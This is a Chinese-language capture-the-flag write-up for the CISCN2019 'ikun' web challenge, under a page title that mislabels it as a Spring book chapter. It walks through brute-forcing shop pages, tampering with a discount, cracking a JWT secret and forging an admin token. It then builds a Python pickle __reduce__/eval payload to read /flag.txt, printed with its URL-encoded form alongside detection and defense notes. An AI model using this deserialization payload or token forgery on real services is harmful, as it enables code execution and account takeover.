1. 程式人生 > 實用技巧 >《精通Spring4.x企業應用開發實戰》第四章

《精通Spring4.x企業應用開發實戰》第四章

[CISCN2019 華北賽區 Day1 Web2]ikun

shopping


要買到lv6,然而當前頁面上沒有lv6,爆破頁面來搞事情。

import requests
url="http://3ecc60d7-c14f-4805-9476-71bcd91747c8.node3.buuoj.cn/shop?page="

for i in range(0,2000):
    print(i)
    r=requests.get( url + str(i) )
    if 'lv6.png' in r.text:
        print (i)
        break


抓包改折扣:

右邊location顯示/b1g_m4mber

訪問:

這裡涉及到JWT偽造漏洞

JWT偽造

詳情請參考大佬部落格

攻擊工具
首先建立docker,攻擊jwt:

爆出來key:

Secret is "1Kun"

然後訪問攻擊網站,將jwt複製上去即可

把username改為admin,把key填為1Kun即可。
然後將左邊的jwt複製下來,填充進cookie模組即可:

重新整理一下即可。

然後找到原始碼,審計即可。

審計

根據提示後門找到admin.py


pickle提供了一個簡單的持久化功能。可以將物件以檔案的形式存放在磁碟上。

pickle模組只能在python中使用,python中幾乎所有的資料型別(列表,字典,集合,類等)都可以用pickle來序列化,
pickle序列化後的資料,可讀性差,人一般無法識別。

p = pickle.loads(urllib.unquote(become))

urllib.unquote:將存入的字典引數編碼為URL查詢字串,即轉換成以key1 = value1 & key2 = value2的形式pickle.loads(bytes_object): 從位元組物件中讀取被封裝的物件,並返回我看了師傅們的部落格之後的理解就是,我們構建一個類,類裡面的__reduce__python魔術方法會在該類被反序列化的時候會被呼叫Pickle模組中最常用的函式為:

  • pickle.dump(obj, file, [,protocol])
函式的功能:將obj物件序列化存入已經開啟的file中。
引數講解:
obj:想要序列化的obj物件。
file:檔名稱。
protocol:序列化使用的協議。如果該項省略,則預設為0。如果為負值或HIGHEST_PROTOCOL,則使用最高的協議版本。
  • pickle.load(file)
函式的功能:將file中的物件序列化讀出。
引數講解:
file:檔名稱。
  • pickle.dumps(obj[, protocol])
函式的功能:將obj物件序列化為string形式,而不是存入檔案中。
引數講解:
obj:想要序列化的obj物件。
protocal:如果該項省略,則預設為0。如果為負值或HIGHEST_PROTOCOL,則使用最高的協議版本。
  • pickle.loads(string)
函式的功能:從string中讀出序列化前的obj物件。
引數講解:
string:檔名稱。
【注】 dump() 與 load() 相比 dumps() 和 loads() 還有另一種能力:dump()函式能一個接著一個地將幾個物件序列化儲存到同一個檔案中,隨後呼叫load()來以同樣的順序反序列化讀出這些物件。而在__reduce__方法裡面我們就進行讀取flag.txt檔案,並將該類序列化之後進行URL編碼

檢測反序列化方法:

全域性搜尋Python程式碼中是否含有關鍵字類似“import cPickle”或“import pickle”等,若存在則進一步確認是否呼叫cPickle.loads()或pickle.loads()且反序列化的引數可控。

防禦方法

1、用更高階的介面__getnewargs()、__getstate__()、__setstate__()等代替__reduce__()魔術方法;
2、進行反序列化操作之前,進行嚴格的過濾,若採用的是pickle庫可採用裝飾器實現。

打洞

import pickle
import urllib

class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.